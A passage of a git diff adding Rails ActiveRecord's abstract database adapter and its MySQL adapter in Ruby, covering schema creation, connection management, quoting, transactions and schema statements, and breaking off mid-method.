+++ b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
@@ -0,0 +1,440 @@
+require 'date'
+require 'bigdecimal'
+require 'bigdecimal/util'
+require 'active_support/core_ext/benchmark'
+require 'active_record/connection_adapters/schema_cache'
+require 'active_record/connection_adapters/abstract/schema_dumper'
+require 'monitor'
+
+module ActiveRecord
+ module ConnectionAdapters # :nodoc:
+ extend ActiveSupport::Autoload
+
+ autoload :Column
+ autoload :ConnectionSpecification
+
+ autoload_at 'active_record/connection_adapters/abstract/schema_definitions' do
+ autoload :IndexDefinition
+ autoload :ColumnDefinition
+ autoload :TableDefinition
+ autoload :Table
+ autoload :AlterTable
+ end
+
+ autoload_at 'active_record/connection_adapters/abstract/connection_pool' do
+ autoload :ConnectionHandler
+ autoload :ConnectionManagement
+ end
+
+ autoload_under 'abstract' do
+ autoload :SchemaStatements
+ autoload :DatabaseStatements
+ autoload :DatabaseLimits
+ autoload :Quoting
+ autoload :ConnectionPool
+ autoload :QueryCache
+ end
+
+ autoload_at 'active_record/connection_adapters/abstract/transaction' do
+ autoload :ClosedTransaction
+ autoload :RealTransaction
+ autoload :SavepointTransaction
+ end
+
+ # Active Record supports multiple database systems. AbstractAdapter and
+ # related classes form the abstraction layer which makes this possible.
+ # An AbstractAdapter represents a connection to a database, and provides an
+ # abstract interface for database-specific functionality such as establishing
+ # a connection, escaping values, building the right SQL fragments for ':offset'
+ # and ':limit' options, etc.
+ #
+ # All the concrete database adapters follow the interface laid down in this class.
+ # ActiveRecord::Base.connection returns an AbstractAdapter object, which
+ # you can use.
+ #
+ # Most of the methods in the adapter are useful during migrations. Most
+ # notably, the instance methods provided by SchemaStatement are very useful.
+ class AbstractAdapter
+ include Quoting, DatabaseStatements, SchemaStatements
+ include DatabaseLimits
+ include QueryCache
+ include ActiveSupport::Callbacks
+ include MonitorMixin
+ include ColumnDumper
+
+ SIMPLE_INT = /\A\d+\z/
+
+ define_callbacks :checkout, :checkin
+
+ attr_accessor :visitor, :pool
+ attr_reader :schema_cache, :last_use, :in_use, :logger
+ alias :in_use? :in_use
+
+ def self.type_cast_config_to_integer(config)
+ if config =~ SIMPLE_INT
+ config.to_i
+ else
+ config
+ end
+ end
+
+ def self.type_cast_config_to_boolean(config)
+ if config == "false"
+ false
+ else
+ config
+ end
+ end
+
+ def initialize(connection, logger = nil, pool = nil) #:nodoc:
+ super()
+
+ @connection = connection
+ @in_use = false
+ @instrumenter = ActiveSupport::Notifications.instrumenter
+ @last_use = false
+ @logger = logger
+ @pool = pool
+ @query_cache = Hash.new { |h,sql| h[sql] = {} }
+ @query_cache_enabled = false
+ @schema_cache = SchemaCache.new self
+ @visitor = nil
+ end
+
+ def valid_type?(type)
+ true
+ end
+
+ class SchemaCreation
+ def initialize(conn)
+ @conn = conn
+ @cache = {}
+ end
+
+ def accept(o)
+ m = @cache[o.class] ||= "visit_#{o.class.name.split('::').last}"
+ send m, o
+ end
+
+ private
+
+ def visit_AlterTable(o)
+ sql = "ALTER TABLE #{quote_table_name(o.name)} "
+ sql << o.adds.map { |col| visit_AddColumn col }.join(' ')
+ end
+
+ def visit_AddColumn(o)
+ sql_type = type_to_sql(o.type.to_sym, o.limit, o.precision, o.scale)
+ sql = "ADD #{quote_column_name(o.name)} #{sql_type}"
+ add_column_options!(sql, column_options(o))
+ end
+
+ def visit_ColumnDefinition(o)
+ sql_type = type_to_sql(o.type.to_sym, o.limit, o.precision, o.scale)
+ column_sql = "#{quote_column_name(o.name)} #{sql_type}"
+ add_column_options!(column_sql, column_options(o)) unless o.primary_key?
+ column_sql
+ end
+
+ def visit_TableDefinition(o)
+ create_sql = "CREATE#{' TEMPORARY' if o.temporary} TABLE "
+ create_sql << "#{quote_table_name(o.name)} ("
+ create_sql << o.columns.map { |c| accept c }.join(', ')
+ create_sql << ") #{o.options}"
+ create_sql
+ end
+
+ def column_options(o)
+ column_options = {}
+ column_options[:null] = o.null unless o.null.nil?
+ column_options[:default] = o.default unless o.default.nil?
+ column_options[:column] = o
+ column_options
+ end
+
+ def quote_column_name(name)
+ @conn.quote_column_name name
+ end
+
+ def quote_table_name(name)
+ @conn.quote_table_name name
+ end
+
+ def type_to_sql(type, limit, precision, scale)
+ @conn.type_to_sql type.to_sym, limit, precision, scale
+ end
+
+ def add_column_options!(column_sql, column_options)
+ @conn.add_column_options! column_sql, column_options
+ column_sql
+ end
+ end
+
+ def schema_creation
+ SchemaCreation.new self
+ end
+
+ def lease
+ synchronize do
+ unless in_use
+ @in_use = true
+ @last_use = Time.now
+ end
+ end
+ end
+
+ def schema_cache=(cache)
+ cache.connection = self
+ @schema_cache = cache
+ end
+
+ def expire
+ @in_use = false
+ end
+
+ def unprepared_visitor
+ self.class::BindSubstitution.new self
+ end
+
+ def unprepared_statement
+ old, @visitor = @visitor, unprepared_visitor
+ yield
+ ensure
+ @visitor = old
+ end
+
+ # Returns the human-readable name of the adapter. Use mixed case - one
+ # can always use downcase if needed.
+ def adapter_name
+ 'Abstract'
+ end
+
+ # Does this adapter support migrations? Backend specific, as the
+ # abstract adapter always returns +false+.
+ def supports_migrations?
+ false
+ end
+
+ # Can this adapter determine the primary key for tables not attached
+ # to an Active Record class, such as join tables? Backend specific, as
+ # the abstract adapter always returns +false+.
+ def supports_primary_key?
+ false
+ end
+
+ # Does this adapter support using DISTINCT within COUNT? This is +true+
+ # for all adapters except sqlite.
+ def supports_count_distinct?
+ true
+ end
+
+ # Does this adapter support DDL rollbacks in transactions? That is, would
+ # CREATE TABLE or ALTER TABLE get rolled back by a transaction? PostgreSQL,
+ # SQL Server, and others support this. MySQL and others do not.
+ def supports_ddl_transactions?
+ false
+ end
+
+ def supports_bulk_alter?
+ false
+ end
+
+ # Does this adapter support savepoints? PostgreSQL and MySQL do,
+ # SQLite < 3.6.8 does not.
+ def supports_savepoints?
+ false
+ end
+
+ # Should primary key values be selected from their corresponding
+ # sequence before the insert statement? If true, next_sequence_value
+ # is called before each insert to set the record's primary key.
+ # This is false for all adapters but Firebird.
+ def prefetch_primary_key?(table_name = nil)
+ false
+ end
+
+ # Does this adapter support index sort order?
+ def supports_index_sort_order?
+ false
+ end
+
+ # Does this adapter support partial indices?
+ def supports_partial_index?
+ false
+ end
+
+ # Does this adapter support explain? As of this writing sqlite3,
+ # mysql2, and postgresql are the only ones that do.
+ def supports_explain?
+ false
+ end
+
+ # Does this adapter support setting the isolation level for a transaction?
+ def supports_transaction_isolation?
+ false
+ end
+
+ # Does this adapter support database extensions? As of this writing only
+ # postgresql does.
+ def supports_extensions?
+ false
+ end
+
+ # A list of extensions, to be filled in by adapters that support them. At
+ # the moment only postgresql does.
+ def extensions
+ []
+ end
+
+ # A list of index algorithms, to be filled by adapters that support them.
+ # MySQL and PostgreSQL have support for them right now.
+ def index_algorithms
+ {}
+ end
+
+ # QUOTING ==================================================
+
+ # Returns a bind substitution value given a +column+ and list of current
+ # +binds+.
+ def substitute_at(column, index)
+ Arel::Nodes::BindParam.new '?'
+ end
+
+ # REFERENTIAL INTEGRITY ====================================
+
+ # Override to turn off referential integrity while executing <tt>&block</tt>.
+ def disable_referential_integrity
+ yield
+ end
+
+ # CONNECTION MANAGEMENT ====================================
+
+ # Checks whether the connection to the database is still active. This includes
+ # checking whether the database is actually capable of responding, i.e. whether
+ # the connection isn't stale.
+ def active?
+ end
+
+ # Disconnects from the database if already connected, and establishes a
+ # new connection with the database. Implementors should call super if they
+ # override the default implementation.
+ def reconnect!
+ clear_cache!
+ reset_transaction
+ end
+
+ # Disconnects from the database if already connected. Otherwise, this
+ # method does nothing.
+ def disconnect!
+ clear_cache!
+ reset_transaction
+ end
+
+ # Reset the state of this connection, directing the DBMS to clear
+ # transactions and other connection-related server-side state. Usually a
+ # database-dependent operation.
+ #
+ # The default implementation does nothing; the implementation should be
+ # overridden by concrete adapters.
+ def reset!
+ # this should be overridden by concrete adapters
+ end
+
+ ###
+ # Clear any caching the database adapter may be doing, for example
+ # clearing the prepared statement cache. This is database specific.
+ def clear_cache!
+ # this should be overridden by concrete adapters
+ end
+
+ # Returns true if its required to reload the connection between requests for development mode.
+ # This is not the case for Ruby/MySQL and it's not necessary for any adapters except SQLite.
+ def requires_reloading?
+ false
+ end
+
+ # Checks whether the connection to the database is still active (i.e. not stale).
+ # This is done under the hood by calling <tt>active?</tt>. If the connection
+ # is no longer active, then this method will reconnect to the database.
+ def verify!(*ignored)
+ reconnect! unless active?
+ end
+
+ # Provides access to the underlying database driver for this adapter. For
+ # example, this method returns a Mysql object in case of MysqlAdapter,
+ # and a PGconn object in case of PostgreSQLAdapter.
+ #
+ # This is useful for when you need to call a proprietary method such as
+ # PostgreSQL's lo_* methods.
+ def raw_connection
+ @connection
+ end
+
+ def open_transactions
+ @transaction.number
+ end
+
+ def increment_open_transactions
+ ActiveSupport::Deprecation.warn "#increment_open_transactions is deprecated and has no effect"
+ end
+
+ def decrement_open_transactions
+ ActiveSupport::Deprecation.warn "#decrement_open_transactions is deprecated and has no effect"
+ end
+
+ def transaction_joinable=(joinable)
+ message = "#transaction_joinable= is deprecated. Please pass the :joinable option to #begin_transaction instead."
+ ActiveSupport::Deprecation.warn message
+ @transaction.joinable = joinable
+ end
+
+ def create_savepoint
+ end
+
+ def rollback_to_savepoint
+ end
+
+ def release_savepoint
+ end
+
+ def case_sensitive_modifier(node)
+ node
+ end
+
+ def case_insensitive_comparison(table, attribute, column, value)
+ table[attribute].lower.eq(table.lower(value))
+ end
+
+ def current_savepoint_name
+ "active_record_#{open_transactions}"
+ end
+
+ # Check the connection back in to the connection pool
+ def close
+ pool.checkin self
+ end
+
+ protected
+
+ def log(sql, name = "SQL", binds = [])
+ @instrumenter.instrument(
+ "sql.active_record",
+ :sql => sql,
+ :name => name,
+ :connection_id => object_id,
+ :binds => binds) { yield }
+ rescue => e
+ message = "#{e.class.name}: #{e.message}: #{sql}"
+ @logger.error message if @logger
+ exception = translate_exception(e, message)
+ exception.set_backtrace e.backtrace
+ raise exception
+ end
+
+ def translate_exception(exception, message)
+ # override in derived class
+ ActiveRecord::StatementInvalid.new(message, exception)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
new file mode 100644
index 0000000..76c501d
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
@@ -0,0 +1,780 @@
+require 'arel/visitors/bind_visitor'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class AbstractMysqlAdapter < AbstractAdapter
+ class SchemaCreation < AbstractAdapter::SchemaCreation
+ private
+
+ def visit_AddColumn(o)
+ add_column_position!(super, o)
+ end
+
+ def add_column_position!(sql, column)
+ if column.first
+ sql << " FIRST"
+ elsif column.after
+ sql << " AFTER #{quote_column_name(column.after)}"
+ end
+ sql
+ end
+ end
+
+ def schema_creation
+ SchemaCreation.new self
+ end
+
+ class Column < ConnectionAdapters::Column # :nodoc:
+ attr_reader :collation, :strict, :extra
+
+ def initialize(name, default, sql_type = nil, null = true, collation = nil, strict = false, extra = "")
+ @strict = strict
+ @collation = collation
+ @extra = extra
+ super(name, default, sql_type, null)
+ end
+
+ def extract_default(default)
+ if blob_or_text_column?
+ if default.blank?
+ null || strict ? nil : ''
+ else
+ raise ArgumentError, "#{type} columns cannot have a default value: #{default.inspect}"
+ end
+ elsif missing_default_forged_as_empty_string?(default)
+ nil
+ else
+ super
+ end
+ end
+
+ def has_default?
+ return false if blob_or_text_column? #mysql forbids defaults on blob and text columns
+ super
+ end
+
+ def blob_or_text_column?
+ sql_type =~ /blob/i || type == :text
+ end
+
+ # Must return the relevant concrete adapter
+ def adapter
+ raise NotImplementedError
+ end
+
+ def case_sensitive?
+ collation && !collation.match(/_ci$/)
+ end
+
+ private
+
+ def simplified_type(field_type)
+ return :boolean if adapter.emulate_booleans && field_type.downcase.index("tinyint(1)")
+
+ case field_type
+ when /enum/i, /set/i then :string
+ when /year/i then :integer
+ when /bit/i then :binary
+ else
+ super
+ end
+ end
+
+ def extract_limit(sql_type)
+ case sql_type
+ when /^enum\((.+)\)/i
+ $1.split(',').map{|enum| enum.strip.length - 2}.max
+ when /blob|text/i
+ case sql_type
+ when /tiny/i
+ 255
+ when /medium/i
+ 16777215
+ when /long/i
+ 2147483647 # mysql only allows 2^31-1, not 2^32-1, somewhat inconsistently with the tiny/medium/normal cases
+ else
+ super # we could return 65535 here, but we leave it undecorated by default
+ end
+ when /^bigint/i; 8
+ when /^int/i; 4
+ when /^mediumint/i; 3
+ when /^smallint/i; 2
+ when /^tinyint/i; 1
+ else
+ super
+ end
+ end
+
+ # MySQL misreports NOT NULL column default when none is given.
+ # We can't detect this for columns which may have a legitimate ''
+ # default (string) but we can for others (integer, datetime, boolean,
+ # and the rest).
+ #
+ # Test whether the column has default '', is not null, and is not
+ # a type allowing default ''.
+ def missing_default_forged_as_empty_string?(default)
+ type != :string && !null && default == ''
+ end
+ end
+
+ ##
+ # :singleton-method:
+ # By default, the MysqlAdapter will consider all columns of type <tt>tinyint(1)</tt>
+ # as boolean. If you wish to disable this emulation (which was the default
+ # behavior in versions 0.13.1 and earlier) you can add the following line
+ # to your application.rb file:
+ #
+ # ActiveRecord::ConnectionAdapters::Mysql[2]Adapter.emulate_booleans = false
+ class_attribute :emulate_booleans
+ self.emulate_booleans = true
+
+ LOST_CONNECTION_ERROR_MESSAGES = [
+ "Server shutdown in progress",
+ "Broken pipe",
+ "Lost connection to MySQL server during query",
+ "MySQL server has gone away" ]
+
+ QUOTED_TRUE, QUOTED_FALSE = '1', '0'
+
+ NATIVE_DATABASE_TYPES = {
+ :primary_key => "int(11) DEFAULT NULL auto_increment PRIMARY KEY",
+ :string => { :name => "varchar", :limit => 255 },
+ :text => { :name => "text" },
+ :integer => { :name => "int", :limit => 4 },
+ :float => { :name => "float" },
+ :decimal => { :name => "decimal" },
+ :datetime => { :name => "datetime" },
+ :timestamp => { :name => "datetime" },
+ :time => { :name => "time" },
+ :date => { :name => "date" },
+ :binary => { :name => "blob" },
+ :boolean => { :name => "tinyint", :limit => 1 }
+ }
+
+ INDEX_TYPES = [:fulltext, :spatial]
+ INDEX_USINGS = [:btree, :hash]
+
+ class BindSubstitution < Arel::Visitors::MySQL # :nodoc:
+ include Arel::Visitors::BindVisitor
+ end
+
+ # FIXME: Make the first parameter more similar for the two adapters
+ def initialize(connection, logger, connection_options, config)
+ super(connection, logger)
+ @connection_options, @config = connection_options, config
+ @quoted_column_names, @quoted_table_names = {}, {}
+
+ if self.class.type_cast_config_to_boolean(config.fetch(:prepared_statements) { true })
+ @visitor = Arel::Visitors::MySQL.new self
+ else
+ @visitor = unprepared_visitor
+ end
+ end
+
+ def adapter_name #:nodoc:
+ self.class::ADAPTER_NAME
+ end
+
+ # Returns true, since this connection adapter supports migrations.
+ def supports_migrations?
+ true
+ end
+
+ def supports_primary_key?
+ true
+ end
+
+ # Returns true, since this connection adapter supports savepoints.
+ def supports_savepoints?
+ true
+ end
+
+ def supports_bulk_alter? #:nodoc:
+ true
+ end
+
+ # Technically MySQL allows to create indexes with the sort order syntax
+ # but at the moment (5.5) it doesn't yet implement them
+ def supports_index_sort_order?
+ true
+ end
+
+ # MySQL 4 technically support transaction isolation, but it is affected by a bug
+ # where the transaction level gets persisted for the whole session:
+ #
+ # http://bugs.mysql.com/bug.php?id=39170
+ def supports_transaction_isolation?
+ version[0] >= 5
+ end
+
+ def native_database_types
+ NATIVE_DATABASE_TYPES
+ end
+
+ def index_algorithms
+ { default: 'ALGORITHM = DEFAULT', copy: 'ALGORITHM = COPY', inplace: 'ALGORITHM = INPLACE' }
+ end
+
+ # HELPER METHODS ===========================================
+
+ # The two drivers have slightly different ways of yielding hashes of results, so
+ # this method must be implemented to provide a uniform interface.
+ def each_hash(result) # :nodoc:
+ raise NotImplementedError
+ end
+
+ # Overridden by the adapters to instantiate their specific Column type.
+ def new_column(field, default, type, null, collation, extra = "") # :nodoc:
+ Column.new(field, default, type, null, collation, extra)
+ end
+
+ # Must return the Mysql error number from the exception, if the exception has an
+ # error number.
+ def error_number(exception) # :nodoc:
+ raise NotImplementedError
+ end
+
+ # QUOTING ==================================================
+
+ def quote(value, column = nil)
+ if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary)
+ s = column.class.string_to_binary(value).unpack("H*")[0]
+ "x'#{s}'"
+ elsif value.kind_of?(BigDecimal)
+ value.to_s("F")
+ else
+ super
+ end
+ end
+
+ def quote_column_name(name) #:nodoc:
+ @quoted_column_names[name] ||= "`#{name.to_s.gsub('`', '``')}`"
+ end
+
+ def quote_table_name(name) #:nodoc:
+ @quoted_table_names[name] ||= quote_column_name(name).gsub('.', '`.`')
+ end
+
+ def quoted_true
+ QUOTED_TRUE
+ end
+
+ def quoted_false
+ QUOTED_FALSE
+ end
+
+ # REFERENTIAL INTEGRITY ====================================
+
+ def disable_referential_integrity(&block) #:nodoc:
+ old = select_value("SELECT @@FOREIGN_KEY_CHECKS")
+
+ begin
+ update("SET FOREIGN_KEY_CHECKS = 0")
+ yield
+ ensure
+ update("SET FOREIGN_KEY_CHECKS = #{old}")
+ end
+ end
+
+ # DATABASE STATEMENTS ======================================
+
+ # Executes the SQL statement in the context of this connection.
+ def execute(sql, name = nil)
+ if name == :skip_logging
+ @connection.query(sql)
+ else
+ log(sql, name) { @connection.query(sql) }
+ end
+ rescue ActiveRecord::StatementInvalid => exception
+ if exception.message.split(":").first =~ /Packets out of order/
+ raise ActiveRecord::StatementInvalid.new("'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information. If you're on Windows, use the Instant Rails installer to get the updated mysql bindings.", exception.original_exception)
+ else
+ raise
+ end
+ end
+
+ # MysqlAdapter has to free a result after using it, so we use this method to write
+ # stuff in an abstract way without concerning ourselves about whether it needs to be
+ # explicitly freed or not.
+ def execute_and_free(sql, name = nil) #:nodoc:
+ yield execute(sql, name)
+ end
+
+ def update_sql(sql, name = nil) #:nodoc:
+ super
+ @connection.affected_rows
+ end
+
+ def begin_db_transaction
+ execute "BEGIN"
+ rescue
+ # Transactions aren't supported
+ end
+
+ def begin_isolated_db_transaction(isolation)
+ execute "SET TRANSACTION ISOLATION LEVEL #{transaction_isolation_levels.fetch(isolation)}"
+ begin_db_transaction
+ rescue
+ # Transactions aren't supported
+ end
+
+ def commit_db_transaction #:nodoc:
+ execute "COMMIT"
+ rescue
+ # Transactions aren't supported
+ end
+
+ def rollback_db_transaction #:nodoc:
+ execute "ROLLBACK"
+ rescue
+ # Transactions aren't supported
+ end
+
+ def create_savepoint
+ execute("SAVEPOINT #{current_savepoint_name}")
+ end
+
+ def rollback_to_savepoint
+ execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
+ end
+
+ def release_savepoint
+ execute("RELEASE SAVEPOINT #{current_savepoint_name}")
+ end
+
+ # In the simple case, MySQL allows us to place JOINs directly into the UPDATE
+ # query. However, this does not allow for LIMIT, OFFSET and ORDER. To support
+ # these, we must use a subquery.
+ def join_to_update(update, select) #:nodoc:
+ if select.limit || select.offset || select.orders.any?
+ super
+ else
+ update.table select.source
+ update.wheres = select.constraints
+ end
+ end
+
+ def empty_insert_statement_value
+ "VALUES ()"
+ end
+
+ # SCHEMA STATEMENTS ========================================
+
+ # Drops the database specified on the +name+ attribute
+ # and creates it again using the provided +options+.
+ def recreate_database(name, options = {})
+ drop_database(name)
+ create_database(name, options)
+ end
+
+ # Create a new MySQL database with optional <tt>:charset</tt> and <tt>:collation</tt>.
+ # Charset defaults to utf8.
+ #
+ # Example:
+ # create_database 'charset_test', charset: 'latin1', collation: 'latin1_bin'
+ # create_database 'matt_development'
+ # create_database 'matt_development', charset: :big5
+ def create_database(name, options = {})
+ if options[:collation]
+ execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}` COLLATE `#{options[:collation]}`"
+ else
+ execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}`"
+ end
+ end
+
+ # Drops a MySQL database.
+ #
+ # Example:
+ # drop_database('sebastian_development')
+ def drop_database(name) #:nodoc:
+ execute "DROP DATABASE IF EXISTS `#{name}`"
+ end
+
+ def current_database
+ select_value 'SELECT DATABASE() as db'
+ end
+
+ # Returns the database character set.
+ def charset
+ show_variable 'character_set_database'
+ end
+
+ # Returns the database collation strategy.
+ def collation
+ show_variable 'collation_database'
+ end
+
+ def tables(name = nil, database = nil, like = nil) #:nodoc:
+ sql = "SHOW TABLES "
+ sql << "IN #{quote_table_name(database)} " if database
+ sql << "LIKE #{quote(like)}" if like
+
+ execute_and_free(sql, 'SCHEMA') do |result|
+ result.collect { |field| field.first }
+ end
+ end
+
+ def table_exists?(name)
+ return false unless name
+ return true if tables(nil, nil, name).any?
+
+ name = name.to_s
+ schema, table = name.split('.', 2)
+
+ unless table # A table was provided without a schema
+ table = schema
+ schema = nil
+ end
+
+ tables(nil, schema, table).any?
+ end
+
+ # Returns an array of indexes for the given table.
+ def indexes(table_name, name = nil) #:nodoc:
+ indexes = []
+ current_index = nil
+ execute_and_free("SHOW KEYS FROM #{quote_table_name(table_name)}", 'SCHEMA') do |result|
+ each_hash(result) do |row|
+ if current_index != row[:Key_name]
+ next if row[:Key_name] == 'PRIMARY' # skip the primary key
+ current_index = row[:Key_name]
+
+ mysql_index_type = row[:Index_type].downcase.to_sym
+ index_type = INDEX_TYPES.include?(mysql_index_type) ? mysql_index_type : nil
+ index_using = INDEX_USINGS.include?(mysql_index_type) ? mysql_index_type : nil
+ indexes << IndexDefinition.new(row[:Table], row[:Key_name], row[:Non_unique].to_i == 0, [], [], nil, nil, index_type, index_using)
+ end
+
+ indexes.last.columns << row[:Column_name]
+ indexes.last.lengths << row[:Sub_part]
+ end
+ end
+
+ indexes
+ end
+
+ # Returns an array of +Column+ objects for the table specified by +table_name+.
+ def columns(table_name)#:nodoc:
+ sql = "SHOW FULL FIELDS FROM #{quote_table_name(table_name)}"
+ execute_and_free(sql, 'SCHEMA') do |result|
+ each_hash(result).map do |field|
+ new_column(field[:Field], field[:Default], field[:Type], field[:Null] == "YES", field[:Collation], field[:Extra])
+ end
+ end
+ end
+
+ def create_table(table_name, options = {}) #:nodoc:
+ super(table_name, options.reverse_merge(:options => "ENGINE=InnoDB"))
+ end
+
+ def bulk_change_table(table_name, operations) #:nodoc:
+ sqls = operations.map do |command, args|
+ table, arguments = args.shift, args
+ method = :"#{command}_sql"
+
+ if respond_to?(method, true)
+ send(method, table, *arguments)
+ else
+ raise "Unknown method called : #{method}(#{arguments.inspect})"
+ end
+ end.flatten.join(", ")
+
+ execute("ALTER TABLE #{quote_table_name(table_name)} #{sqls}")
+ end
+
+ # Renames a table.
+ #
+ # Example:
+ # rename_table('octopuses', 'octopi')
+ def rename_table(table_name, new_name)
+ execute "RENAME TABLE #{quote_table_name(table_name)} TO #{quote_table_name(new_name)}"
+ rename_table_indexes(table_name, new_name)
+ end
+
+ def change_column_default(table_name, column_name, default)
+ column = column_for(table_name, column_name)
+ change_column table_name, column_name, column.sql_type, :default => default
+ end
+
+ def change_column_null(table_name, column_name, null, default = nil)
+ column = column_for(table_name, column_name)
+
+ unless null || default.nil?
+ execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
+ end
+
+ change_column table_name, column_name, column.sql_type, :null => null
+ end
+
+ def change_column(table_name, column_name, type, options = {}) #:nodoc:
+ execute("ALTER TABLE #{quote_table_name(table_name)} #{change_column_sql(table_name, column_name, type, options)}")
+ end
+
+ def rename_column(table_name, column_name, new_column_name) #:nodoc:
+ execute("ALTER TABLE #{quote_table_name(table_name)} #{rename_column_sql(table_name, column_name, new_column_name)}")
+ rename_column_indexes(table_name, column_name, new_column_name)
+ end
+
+ def add_index(table_name, column_name, options = {}) #:nodoc:
+ index_name, index_type, index_columns, index_options, index_algorithm, index_using = add_index_options(table_name, column_name, options)
+ execute "CREATE #{index_type} INDEX #{quote_column_name(index_name)} #{index_using} ON #{quote_table_name(table_name)} (#{index_columns})#{index_options} #{index_algorithm}"
+ end
+
+ # Maps logical Rails types to MySQL-specific data types.
+ def type_to_sql(type, limit = nil, precision = nil, scale = nil)
+ case type.to_s
+ when 'binary'
+ case limit
+ when 0..0xfff; "varbinary(#{limit})"
+ when nil; "blob"
+ when 0x1000..0xffffffff; "blob(#{limit})"
+ else raise(ActiveRecordError, "No binary type has character length #{limit}")
+ end
+ when 'integer'
+ case limit
+ when 1; 'tinyint'
+ when 2; 'smallint'
+ when 3; 'mediumint'
+ when nil, 4, 11; 'int(11)' # compatibility with MySQL default
+ when 5..8; 'bigint'
+ else raise(ActiveRecordError, "No integer type has byte size #{limit}")
+ end
+ when 'text'
+ case limit
+ when 0..0xff; 'tinytext'
+ when nil, 0x100..0xffff; 'text'
+ when 0x10000..0xffffff; 'mediumtext'
+ when 0x1000000..0xffffffff; 'longtext'
+ else raise(ActiveRecordError, "No text type has character length #{limit}")
+ end
+ else
+ super
+ end
+ end
+
+ def add_column_position!(sql, options)
+ if options[:first]
+ sql << " FIRST"
+ elsif options[:after]
+ sql << " AFTER #{quote_column_name(options[:after])}"
+ end
+ end
+
+ # SHOW VARIABLES LIKE 'name'
+ def show_variable(name)
+ variables = select_all("SHOW VARIABLES LIKE '#{name}'", 'SCHEMA')
+ variables.first['Value'] unless variables.empty?
+ end
+
+ # Returns a table's primary key and belonging sequence.
+ def pk_and_sequence_for(table)
+ execute_and_free("SHOW CREATE TABLE #{quote_table_name(table)}", 'SCHEMA') do |result|
+ create_table = each_hash(result).first[:"Create Table"]
+ if create_table.to_s =~ /PRIMARY KEY\s+(?:USING\s+\w+\s+)?\((.+)\)/
+ keys = $1.split(",").map { |key| key.delete('`"') }
+ keys.length == 1 ? [keys.first, nil] : nil
+ else
+ nil
+ end
+ end
+ end
+
+ # Returns just a table's primary key
+ def primary_key(table)
+ pk_and_sequence = pk_and_sequence_for(table)
+ pk_and_sequence && pk_and_sequence.first
+ end
+
+ def case_sensitive_modifier(node)
+ Arel::Nodes::Bin.new(node)
+ end
+
+ def case_insensitive_comparison(table, attribute, column, value)
+ if column.case_sensitive?
+ super
+ else
+ table[attribute].eq(value)
+ end
+ end
+
+ def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key)
+ where_sql
+ end
+
+ def strict_mode?
+ self.class.type_cast_config_to_boolean(@config.fetch(:strict, true))
+ end
+
+ def valid_type?(type)
+ !native_database_types[type].nil?
+ end
+
+ protected
+
+ # MySQL is too stupid to create a temporary table for use subquery, so we have
+ # to give it some prompting in the form of a subsubquery. Ugh!
+ def subquery_for(key, select)
+ subsubselect = select.clone
+ subsubselect.projections = [key]
+
+ subselect = Arel::SelectManager.new(select.engine)
+ subselect.project Arel.sql(key.name)
+ subselect.from subsubselect.as('__active_record_temp')
+ end
+
+ def add_index_length(option_strings, column_names, options = {})
+ if options.is_a?(Hash) && length = options[:length]
+ case length
+ when Hash
+ column_names.each {|name| option_strings[name] += "(#{length[name]})" if length.has_key?(name) && length[name].present?}
+ when Fixnum
+ column_names.each {|name| option_strings[name] += "(#{length})"}
+ end
+ end
+
+ return option_strings
+ end
+
+ def quoted_columns_for_index(column_names, options = {})
+ option_strings = Hash[column_names.map {|name| [name, '']}]
+
+ # add index length
+ option_strings = add_index_length(option_strings, column_names, options)
+
+ # add index sort order
+ option_strings = add_index_sort_order(option_strings, column_names, options)
+
+ column_names.map {|name| quote_column_name(name) + option_strings[name]}
+ end
+
+ def translate_exception(exception, message)
+ case error_number(exception)
+ when 1062
+ RecordNotUnique.new(message, exception)
+ when 1452
+ InvalidForeignKey.new(message, exception)
+ else
+ super
+ end
+ end
+
+ def add_column_sql(table_name, column_name, type, options = {})
+ add_column_sql = "ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
+ add_column_options!(add_column_sql, options)
+ add_column_position!(add_column_sql, options)
+ add_column_sql
+ end
+
+ def change_column_sql(table_name, column_name, type, options = {})
+ column = column_for(table_name, column_name)
+
+ unless options_include_default?(options)
+ options[:default] = column.default
+ end
+
+ unless options.has_key?(:null)
+ options[:null] = column.null
+ end
+
+ change_column_sql = "CHANGE #{quote_column_name(column_name)} #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
+ add_column_options!(change_column_sql, options)
+ add_column_position!(change_column_sql, options)
+ change_column_sql
+ end
+
+ def rename_column_sql(table_name, column_name, new_column_name)
+ options = {}
+
+ if column = columns(table_name).find { |c| c.name == column_name.to_s }
+ options[:default] = column.default
+ options[:null] = column.null
+ options[:auto_increment] = (column.extra == "auto_increment")
+ else
+ raise ActiveRecordError, "No such column: #{table_name}.#{column_name}"
+ end
+
+ current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'", 'SCHEMA')["Type"]
+ rename_column_sql = "CHANGE #{quote_column_name(column_name)} #{quote_column_name(new_column_name)} #{current_type}"
+ add_column_options!(rename_column_sql, options)
+ rename_column_sql
+ end
+
+ def remove_column_sql(table_name, column_name, type = nil, options = {})
+ "DROP #{quote_column_name(column_name)}"
+ end
+
+ def remove_columns_sql(table_name, *column_names)
+ column_names.map {|column_name| remove_column_sql(table_name, column_name) }
+ end
+
+ def add_index_sql(table_name, column_name, options = {})
+ index_name, index_type, index_columns = add_index_options(table_name, column_name, options)
+ "ADD #{index_type} INDEX #{index_name} (#{index_columns})"
+ end
+
+ def remove_index_sql(table_name, options = {})
+ index_name = index_name_for_remove(table_name, options)
